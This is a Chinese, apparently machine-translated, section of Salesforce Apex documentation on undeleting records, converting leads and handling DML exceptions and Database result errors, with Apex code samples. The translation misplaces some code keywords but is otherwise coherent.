删除记录后,这些记录将放置在回收站中 15 天, 之后,它们将被永久删除。当记录仍在回收中时 Bin,您可以使用该操作恢复它们。如果您不小心删除了某些要保留的记录,请还原它们 从回收站。undelete

以下示例取消删除名为“Universal Containers”的帐户。关键字查询顶部的所有行 级别和聚合关系,包括已删除的记录和存档的记录 活动。

ALL ROWS

Account a = new Account(Name='Universal Containers');
insert(a);
insert(new Contact(LastName='Carter',AccountId=a.Id));
delete a;

Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Universal Containers' ALL ROWS]; 
try {
    undelete savedAccts;
} catch (DmlException e) {
    // Process exception here
}

注意

有关处理的详细信息,请参阅批量 DML 异常处理。DmlException

取消删除注意事项

使用该语句时,请注意以下事项。

undelete

  • 您可以取消删除因合并而删除的记录。 但是,合并会重新设置子对象的父级,而该重属不能 被撤消。
  • 标识已删除的记录,包括由于 合并,使用参数 替换为 SOQL 查询。ALL ROWS
  • 请参阅删除和恢复记录时的参照完整性。

转换潜在客户

DML 操作 将潜在顾客转换为客户和联系人,以及(可选) 机会。convertLead convertLead仅作为 班级;它不能作为 DML 使用 陈述。Database

转换潜在客户涉及以下基本步骤:

  1. 您的应用程序确定要转换的任何潜在顾客的 ID。
  2. (可选)应用程序确定要进入的任何帐户的 ID 合并潜在客户。应用程序可以使用 SOQL 搜索与 潜在顾客名称,如以下示例所示:SELECT Id, Name FROM Account WHERE Name='CompanyNameOfLeadBeingMerged'
  3. (可选)应用程序将一个或多个联系人的 ID 确定为 合并潜在客户。应用程序可以使用 SOQL 搜索 匹配主要联系人姓名,如下所示 例:SELECT Id, Name FROM Contact WHERE FirstName='FirstName' AND LastName='LastName' AND AccountId = '001...'
  4. (可选)应用程序确定是否应从 线索。
  5. 应用程序使用查询 () 来获取已转换的潜在客户 地位。SELECT … FROM LeadStatus WHERE IsConverted=true
  6. 应用程序调用 。convertLead
  7. 应用程序循环访问返回的一个或多个结果,并检查每个结果 LeadConvertResult 对象,用于确定每个 铅。
  8. (可选)在转换队列拥有的潜在顾客时,必须指定所有者。 这是因为客户和联系人不能归队列所有。即使你是 指定现有客户或联系人时,仍必须指定所有者。

此示例演示如何使用该方法转换潜在顾客。它插入了一条新的引线, 创建一个对象,设置其 status 设置为 converted,然后将其传递给该方法。最后,它验证转换 成功了。Database.convertLeadLeadConvertDatabase.convertLead

Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons');
insert myLead;

Database.LeadConvert lc = new database.LeadConvert();
lc.setLeadId(myLead.id);

LeadStatus convertStatus = [SELECT Id, MasterLabel FROM LeadStatus WHERE IsConverted=true LIMIT 1];
lc.setConvertedStatus(convertStatus.MasterLabel);

Database.LeadConvertResult lcr = Database.convertLead(lc);
System.assert(lcr.isSuccess());

转换潜在客户注意事项

  • 字段映射:系统自动将标准潜在客户字段映射到标准 客户、联系人和商机字段。对于自定义潜在客户字段,您的 Salesforce 管理员可以指定它们如何映射到自定义帐户、联系人、 和机会字段。有关字段映射的更多信息,请参阅 Salesforce 帮助。
  • 合并字段:如果数据合并到现有客户和联系人对象中,则仅 目标对象中的空字段将被覆盖 – 现有数据 (包括 ID)不会被覆盖。唯一的例外是,如果您在 LeadConvert 对象设置为 true,在这种情况下,目标联系人对象中的字段将覆盖 字段中的内容 源 LeadConvert 对象。setOverwriteLeadSourceLeadSourceLeadSource
  • 记录类型:如果组织使用记录类型,则默认记录类型为 新所有者将分配给潜在顾客转换期间创建的记录。默认 转换潜在顾客的用户的记录类型决定了潜在顾客来源值 在转换期间可用。如果所需的潜在客户源值不是 available,将值添加到用户转换 铅。有关记录类型的更多信息,请参阅 Salesforce 帮助。
  • 选择列表值:系统为帐户分配默认选择列表值, 联系人和机会,在映射任何标准潜在客户选择列表字段时 空白。如果您的组织使用记录类型,则空白值将替换为 新记录所有者的默认选择列表值。
  • 自动订阅 Feed:当您将潜在客户转化为新帐号时, 联系人和商机,潜在客户所有者已取消订阅潜在客户记录的 聊天提要。主要所有者、生成记录的所有者以及 已订阅的潜在客户不会自动订阅 生成的记录,除非它们在 Chatter 摘要设置。他们必须启用自动订阅才能查看 更改其新闻源中的客户、联系人和商机记录。自 订阅他们创建的记录,用户必须启用自动 遵循我在他们的个人设置中创建选项的记录。一个 用户可以订阅记录,以便对记录的更改显示在新闻中 用户主页上的源。这是了解最新情况的有用方法 对 Salesforce 中记录的更改。

异常处理

如果出现问题,DML 语句将返回运行时异常 在执行 DML 操作期间在数据库中。您可以 通过包装 DML 语句来处理代码中的异常 在 try-catch 块中。以下示例在 try-catch 中包含 DML 语句 块。insert

Account a = new Account(Name='Acme');
try {
    insert a;
} catch(DmlException e) {
    // Process exception here
}

Database 类方法 Result 对象

数据库类方法返回数据操作的结果。 这些结果对象包含有关数据操作的有用信息 对于每条记录,例如操作是否成功, 以及任何错误信息。每种类型的操作都返回一个特定的 result 对象类型,如下所述。

操作Result 类
插入、更新SaveResult 类
更新插入UpsertResult 类
合并MergeResult 类
删除DeleteResult 类
取消删除UndeleteResult 类
convertLead(转换铅)LeadConvertResult 类
emptyRecycleBinEmptyRecycleBinResult 类

返回的数据库错误

而 DML 语句总是在操作时返回异常 正在处理的其中一条记录失败,操作是 回滚所有记录,Database 类方法可以执行 因此,或允许记录处理部分成功。在后一种情况下 部分处理,Database 类方法不会抛出异常。 相反,它们会返回发生的任何错误的错误列表 在失败的记录上。

这些错误提供有关失败的详细信息,并包含在内 在 Database 类方法的结果中。例如,返回一个对象 插入和更新操作。与所有返回的结果一样,包含一个调用的方法,该方法返回对象列表,表示 遇到的错误(如果有)。SaveResultSaveResultgetErrorsDatabase.Error

此示例演示如何获取 操作返回的错误。它插入两个帐户,其中一个没有 具有必填的 Name 字段,并将第二个参数设置为 : 。这将设置部分处理 选择。接下来,该示例检查调用是否有任何失败,然后迭代 通过错误,将错误信息写入调试日志。Database.insertfalseDatabase.insert(accts, false);if (!sr.isSuccess())

// Create two accounts, one of which is missing a required field
Account[] accts = new List<Account>{
    new Account(Name='Account1'),
    new Account()};
Database.SaveResult[] srList = Database.insert(accts, false);

// Iterate through each returned result
for (Database.SaveResult sr : srList) {
    if (!sr.isSuccess()) {
        // Operation failed, so get all errors                
        for(Database.Error err : sr.getErrors()) {
            System.debug('The following error has occurred.');                    
            System.debug(err.getStatusCode() + ': ' + err.getMessage());
            System.debug('Fields that affected this error: ' + err.getFields());
        }
    }
}